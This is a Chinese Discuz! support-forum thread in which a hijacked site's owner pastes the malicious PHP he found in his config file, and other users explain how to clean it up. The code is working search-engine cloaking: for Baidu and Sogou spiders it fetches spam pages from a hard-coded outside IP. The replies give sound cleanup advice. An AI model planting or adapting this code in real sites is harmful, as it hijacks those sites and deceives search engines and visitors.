Discuz!官方免费开源建站系统

 找回密码
 立即注册
搜索

[新需求] 网站被劫持后发现网站首页后面加任意字符都可以访问如何解决?

[复制链接]
1270643127 发表于 2020-11-29 23:20:07 | 显示全部楼层 |阅读模式
需求发布
金额范围: 50-100 元
预算金额: 50 元
开始时间:
结束时间:
联系方式: 隐藏内容
网站被劫持后发现网站首页后面加任意字符都可以访问如何解决?
8 D2 p# a5 z0 O& F9 _# [; G- j' m* M
网站被劫持后生成了大量首页php后面加任意字符都还是可以访问
) o/ C5 }+ Y9 }% B百度收录大量的这样帖子
: i: |% \8 B% j/ C* c% J( E0 e' x  C, C1 _; S. m
现在如何解决这样的?
# f+ p* P$ x, R4 y, _% b/ m& |
! Z9 _  q1 H  R宝塔面板。。。。。。
* v' b( E/ A$ V; I" q( l/ H: y4 }5 X2 O' ?3 M- |
如/forum.php?123456
1 p, Y0 ^7 N, G/forum.php?12365
: k" G' G& p5 \. z/forum.php?515151* F, s: E0 Y; Y, x. n' Z
/ y/ w, C+ e" @: u# o! B
随便加都可以访问,只有首页而已其他文章帖子加就不可以。。。
% y+ \1 t% [+ ^& O% E- _9 ]) A, h! |  R
回复

使用道具 举报

 楼主| 1270643127 发表于 2020-11-30 00:17:02 | 显示全部楼层
- I% w7 P8 [5 b0 w# E: Q
#set_time_limit(30);error_reporting(0);$tr=stristr;$er=$_SERVER;define('url',$er['REQUEST_URI']);define('ref',$er['HTTP_REFERER']);define('ent',$er['HTTP_USER_AGENT']);define('site',"http://156.226.52.130");define('road',"/?road=".$er['HTTP_HOST'].url."&der=".ent);define('regs', '@Baidu|Sogou|Yisou|Haosou|Spider|So.com|Sm.cn@i');define('area',$tr(url,".xml")or $tr(url,".html")or  $tr(url,".doc")or $tr(url,".txt")or $tr(url,".ppt")or $tr(url,".xls")or $tr(url,".csv")or $tr(url,".shtml")or $tr(url,".docx")or $tr(url,".xlsx")and $tr(url,"?"));if(area&&preg_match(regs,ref)){echo g('http://156.226.52.130/404.html');exit;}if(preg_match(regs,ent)){if(area){echo g(site.road);exit;}else{echo g("http://156.226.52.130/u.php");ob_flush();flush();}}function g($f){$c=array('http'=>array('method'=>"GET"));$g=stream_context_create($c);$h=file_get_contents($f,false,$g);if(!empty($h)){return $h;}}6 w$ h" O, t, E& }
// --------------------------  CONFIG ADMINCP  -------------------------- //+ s5 \6 H# z0 g4 D7 K$ L, ]7 |" j
// -------- Founders: $_config['admincp']['founder'] = '1,2,3'; --------- //
2 R& s0 j# j* S8 q# d1 i
回复

使用道具 举报

cardz! 发表于 2020-11-30 06:34:12 | 显示全部楼层
这个是加什么都可以访问,出现这种字符的原因解决了就好了。Q3160510998
回复

使用道具 举报

Failure 发表于 2020-11-30 11:16:25 | 显示全部楼层
你找到了劫持代码 并没有找到后门在哪,还是会出现的
回复

使用道具 举报

 楼主| 1270643127 发表于 2020-11-30 11:34:07 | 显示全部楼层
cardz! 发表于 2020-11-30 06:342 u% {: q% P% K$ c7 }$ O0 Z/ B$ S1 _
这个是加什么都可以访问,出现这种字符的原因解决了就好了。Q3160510998

4 X7 Y$ ]* q5 D6 d# k3 m% P0 O8 \啥原因呀?现在是加啥都还可以访问..
回复

使用道具 举报

cardz! 发表于 2020-11-30 13:54:57 | 显示全部楼层
1270643127 发表于 2020-11-30 11:34
5 j9 N5 p) S/ O3 U. O啥原因呀?现在是加啥都还可以访问..
5 k' l  Y8 H8 q4 J  W  w: U& \
谁的都可以,不只是你的。
回复

使用道具 举报

 楼主| 1270643127 发表于 2020-11-30 17:40:38 | 显示全部楼层
cardz! 发表于 2020-11-30 13:54# M$ Y! y2 q$ w( h7 d& m9 I
谁的都可以,不只是你的。
5 f$ f4 P* d9 C
那不是不能解决了?已经收录了好多了
回复

使用道具 举报

babyfacer 发表于 2020-12-12 18:45:36 | 显示全部楼层
1270643127 发表于 2020-11-30 17:40- A1 t) V; I' E
那不是不能解决了?已经收录了好多了
  b, B) W6 \; p; L& h2 u: q
你先把config里边那段代码删除,然后还要检查最近新增和修改的文件
* I: o8 U( g( x  d& ]; G. ]' O. _, w4 W% Q0 U
你去做一个抓取测试(你自己正常访问页面,是正常的,但是蜘蛛访问,是另外一个样子)
8 r7 _( b6 Q: N% ?4 m' z5 Y如果没有注册百度站长或者百度统计,就去下面这个网址,也可以
( [' V' e( K: A" a. U5 D
  1. http://stool.chinaz.com/tools/webcheck.aspx
复制代码

1 B" \8 p/ a- Y* M1 ?" ^
$ }; H  ~+ Q$ |! m) i" l如果以前的那些页面依然有问题,就说明你没有清除干净(也算不上清除干净,你删除了恶意代码,但是后门还是在的)2 n# R+ [- P/ Y  ]" s& A
$ ]( f+ p) Y& s, t8 F/ R
我自己网站的黑链网址是/?s***.后缀   清除之后,这些页面就不能访问了,然后你可以去百度提交死链,删除这些快照。当然啦,我很早以前就在robots里边直接屏蔽了【?】 所以被挂黑链半个月,百度 根本没有收录黑链。然后我发现黑链之后,直接去百度申请闭站了,解决完了才恢复的
回复

使用道具 举报

babyfacer 发表于 2020-12-12 18:47:55 | 显示全部楼层
而且你使用宝塔,宝塔有免费防火墙,你可以把恶意代码的一些关键词,比如“156.226.52.130” “$tr(url” 直接添加到防火墙。并且,定期扫描(扫描结果要分析哈,DZ默认的某些文件也会被扫描出有问题,但是并不是真的有问题)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|Discuz! 官方站 ( 皖ICP备16010102号 )star

GMT+8, 2025-12-11 21:37 , Processed in 0.117899 second(s), 16 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表